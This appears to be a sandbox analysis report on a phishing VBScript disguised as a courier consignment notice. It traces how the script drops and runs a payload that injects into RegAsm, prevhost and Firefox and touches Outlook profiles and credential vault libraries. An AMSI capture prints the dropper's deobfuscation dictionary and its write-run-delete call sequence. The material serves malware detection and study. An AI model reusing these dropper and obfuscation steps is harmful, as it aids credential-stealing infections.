                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C7A9A69_2_04C7A9A6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BC69629_2_04BC6962
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB99509_2_04BB9950
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BCB9509_2_04BCB950
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C5DAC69_2_04C5DAC6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BF5AA09_2_04BF5AA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BAEA809_2_04BAEA80
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C4DAAC9_2_04C4DAAC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C67A469_2_04C67A46
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6FA499_2_04C6FA49
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C23A6C9_2_04C23A6C
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C66BD79_2_04C66BD7
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BCFB809_2_04BCFB80
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BEDBF99_2_04BEDBF9
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6AB409_2_04C6AB40
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6FB769_2_04C6FB76
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AF25109_2_00AF2510
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AED3E09_2_00AED3E0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00B0C3209_2_00B0C320
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AEB5F09_2_00AEB5F0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AED6009_2_00AED600
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AEB7409_2_00AEB740
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AF5BD09_2_00AF5BD0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AF3DE09_2_00AF3DE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AF3DDC9_2_00AF3DDC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_0490E4249_2_0490E424
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_0490E5449_2_0490E544
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_049137399_2_04913739
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_0490CC439_2_0490CC43
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_0490E8DD9_2_0490E8DD
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_0490D9A89_2_0490D9A8
                Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_0000015F59C1973912_2_0000015F59C19739
                Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_0000015F59C139A812_2_0000015F59C139A8
                Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_0000015F59C1454412_2_0000015F59C14544
                Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_0000015F59C148DD12_2_0000015F59C148DD
                Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_0000015F59C12C4312_2_0000015F59C12C43
                Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_0000015F59C1442412_2_0000015F59C14424
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 04C1EA12 appears 84 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 04BE5130 appears 36 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 04C2F290 appears 105 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 04BF7E54 appears 87 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 04B9B970 appears 266 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 030DF290 appears 105 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 030A7E54 appears 88 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 030CEA12 appears 86 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 0304B970 appears 268 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 03095130 appears 36 times
                Source: TNT Express Delivery Consignment AWD 87993766479.vbsInitial sample: Strings found which are bigger than 50
                Source: payload_Kf7Fb.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: payload_Kf7Fb.exe.0.dr, cebbb2e08800883e6b3bcfc87196ae840.csCryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
                Source: payload_Kf7Fb.exe.0.dr, c0ae3151bdf752c9c5beeca14ef2a80b5.csCryptographic APIs: 'CreateDecryptor'
                Source: wscript.exe, 00000000.00000003.1537526159.000002760C8CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1536493985.000002760C8CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1535792408.000002760C8C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1535917556.000002760C8CB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 7ck~~Pvht0el::AZ**pkmewcctGefg499OdH::7w...slNPZs...7bfcbD6ef~~m4tksUqy7zq...1fy+sLDFrt3nhLr6UZL7KkXCi0obi4alF9zO4sLrl~~qb8YpUICoqmfW0k/Z&&&**~~qWhUGDlf1kXr/ADTZOcxKX::WlLG...pELYrbON::4TpKKHxKaLfx&&&5ul8P15H~~&&&acg~~z...tlL4Ii&&&huUOzThZ879c2...f43mqkbrFwtCbCs5UWfX6v4gb8DtNCYykGryE6fsvkbw5Hvp/lvFkFXm8D4ao
                Source: wscript.exe, 00000000.00000003.1518199303.000002760C8E5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1513138479.000002760C8D2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1514485797.000002760C8E3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1512890613.000002760C8C7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1512596767.000002760C899000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1513241661.000002760C8E2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1512711165.000002760C8C5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1516639628.000002760C8E3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1514627333.000002760C8E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Z**pkmewcctGefg499OdH::7w...slNPZs...7bfcbD6ef~~m4tksUqy7zq...1fy+sLDFrt3nhLr6UZL7KkXCi0obi4alF9zO4sLrl~~qb8YpUICoqmfW0k/Z&&&**~~qWhUGDlf1kXr/
                Source: wscript.exe, 00000000.00000003.1542210333.000002760C891000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1545303925.000002760C894000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 7ck~~Pvht0el::AZ**pkmewcctGefg499OdH::7w...slNPZs...7bfcbD6ef~~m4tksUqy7zq...1fy+sLDFrt3nhLr6UZL7KkXCi0obi4alF9zO4sLrl~~qb8YpUICoqmfW0k/Z&&&**~~qWhUGDlf1kXr/ADTZOcxKX::WlLG...pELYrbON::4TpKKHxKaLfx&&&5ul8P15H~~&&&acg~~z...tlL4Ii&&&huUOzThZ879c2...f43mqkbrFwtCbCs5UWfX6v4gb8DtNCYykGryE6fsvkbw5Hvp/lvFkFXm8D4ao[e
                Source: wscript.exe, 00000000.00000003.1520372079.000002760CA66000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1520825178.000002760C93A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1527492274.000002760C97C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1526614844.000002760C95E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1525871677.000002760C95D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1526737690.000002760C973000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1522998049.000002760C93D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1525750796.000002760C93F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1527880035.000002760C97E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1527671559.000002760C97E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: hXu@@7ck~~Pvht0el::AZ**pkmewcctGefg499OdH::7w...slNPZs...7bfcbD6ef~~m4tksUqy7zq...1fy+sLDFrt3nhLr6UZL7KkXCi0obi4alF9zO4sLrl~~qb8YpUICoqmfW0k/Z&&&**~~qWhUGDlf1kXr/AD
                Source: wscript.exe, 00000000.00000003.1509330455.000002760CAC7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1508956388.000002760CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1509616353.000002760CAE9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1509119304.000002760CAC3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Z**pkmewcctGefg499OdH::7w...slNPZs...7bfcbD6ef~~m4tksUqy7zq...1fy+sLDFrt3nhLr6UZL7KkXCi0obi4alF9zO4sLrl~~qb8YpUICoqmfW0k/Z&&&**~~qWhUGDlf1kXr/8
                Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winVBS@11/4@6/4
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\payload_Kf7Fb.exe.logJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMutant created: NULL
                Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\execution_QLnFC.logJump to behavior
                Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs"
                Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: TNT Express Delivery Consignment AWD 87993766479.vbsReversingLabs: Detection: 36%
                Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe "C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe"
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeProcess created: C:\Windows\SysWOW64\prevhost.exe "C:\Windows\SysWOW64\prevhost.exe"
                Source: C:\Windows\SysWOW64\prevhost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe "C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe" Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeProcess created: C:\Windows\SysWOW64\prevhost.exe "C:\Windows\SysWOW64\prevhost.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msxml3.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msdart.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: aclayers.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: Binary string: wntdll.pdb source: RegAsm.exe, prevhost.exe

                Data Obfuscation

                barindex
                VBScript performs obfuscated calls to suspicious functions
                Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe", "1", "true");IFileSystem3.GetSpecialFolder("2");IFolder.Path();IHost.Sleep("Unsupported parameter type 00000004");IFileSystem3.OpenTextFile("C:\Users\user\AppData\Local\Temp\execution_QLnFC.log", "8", "true");ITextStream.WriteLine("27/11/2024 13:15:21 - Runtime initialized successfully.");ITextStream.Close();IFileSystem3.GetSpecialFolder("2");IFolder.Path();IDictionary.Add("%%", "A");IDictionary.Add("))", "T");IDictionary.Add("@@", "V");IDictionary.Add("...", "B");IDictionary.Add("&&&", "J");IDictionary.Add("**", "M");IDictionary.Add("::", "R");IDictionary.Add("~~", "Q");IDictionary.Keys();IDictionary.Item("%%");IDictionary.Item("))");IDictionary.Item("@@");IDictionary.Item("...");IDictionary.Item("&&&");IDictionary.Item("**");IDictionary.Item("::");IDictionary.Item("~~");IXMLDOMNode._00000029("base64");IXMLDOMElement.dataType("bin.base64");IXMLDOMElement.text("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAN1jRmcAAAAAAAAAAOAALgALATAAAAYGAAAMBgAAAAAALiQ");IXMLDOMElement.nodeTypedValue();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe", "2");_Stream.Close();IFileSystem3.FileExists("C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe");IHost.Sleep("Unsupported parameter type 00000004");IWshShell3.Run("C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe", "1", "true");IFileSystem3.DeleteFile("C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe")
                .NET source code contains potential unpacker
                Source: payload_Kf7Fb.exe.0.dr, cad6d1a0003f7b0bbe9d8a704dd6618dd.cs.Net Code: c8fc4cdb1065edbc772d1e4beaa9ce17c System.Reflection.Assembly.Load(byte[])
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeCode function: 2_2_00D41685 push ecx; iretd 2_2_00D41686
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeCode function: 2_2_00D40C75 push ds; iretd 2_2_00D40C76
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeCode function: 2_2_00D40C78 push ds; iretd 2_2_00D40C7A
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeCode function: 2_2_00D41A61 push ecx; iretd 2_2_00D41A6E
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeCode function: 2_2_00D40C6F push ds; iretd 2_2_00D40C72
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeCode function: 2_2_00D40B98 push ds; iretd 2_2_00D40B9A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0040DAC9 push ds; retf 5_2_0040DACA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_00403330 push eax; ret 5_2_00403332
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0040844F push ss; retf 5_2_00408452
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_00408474 pushad ; retf 5_2_00408445
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_00408413 pushad ; retf 5_2_00408445
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_00401CBD push cs; iretd 5_2_00401CC3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_00408608 push edx; iretd 5_2_0040860D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030509AD push ecx; mov dword ptr [esp], ecx5_2_030509B6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BA09AD push ecx; mov dword ptr [esp], ecx9_2_04BA09B6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AE50E0 pushad ; retf 9_2_00AE5112
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AE511C push ss; retf 9_2_00AE511F
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AE5141 pushad ; retf 9_2_00AE5112
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AE52D5 push edx; iretd 9_2_00AE52DA
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AF84F7 pushad ; ret 9_2_00AF856F
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AFF5F0 push ds; retf 9_2_00AFF6F2
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AF7D18 push es; ret 9_2_00AF7D31
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00B00D61 push ebp; iretd 9_2_00B00D62
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AF7E22 push 83A3E664h; ret 9_2_00AF7E2F
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_049057F8 push ds; ret 9_2_049058C6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_0490C30D push esp; retf 9_2_0490C30F
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04915372 push eax; ret 9_2_04915374
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04904CA5 push ebp; ret 9_2_04904CA6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04905846 push ds; ret 9_2_049058C6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_049159C4 pushad ; retf 0000h9_2_04915A09
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_049159C4 pushad ; retf 0000h9_2_04915A1D
                Source: payload_Kf7Fb.exe.0.drStatic PE information: section name: .text entropy: 7.982448342749451
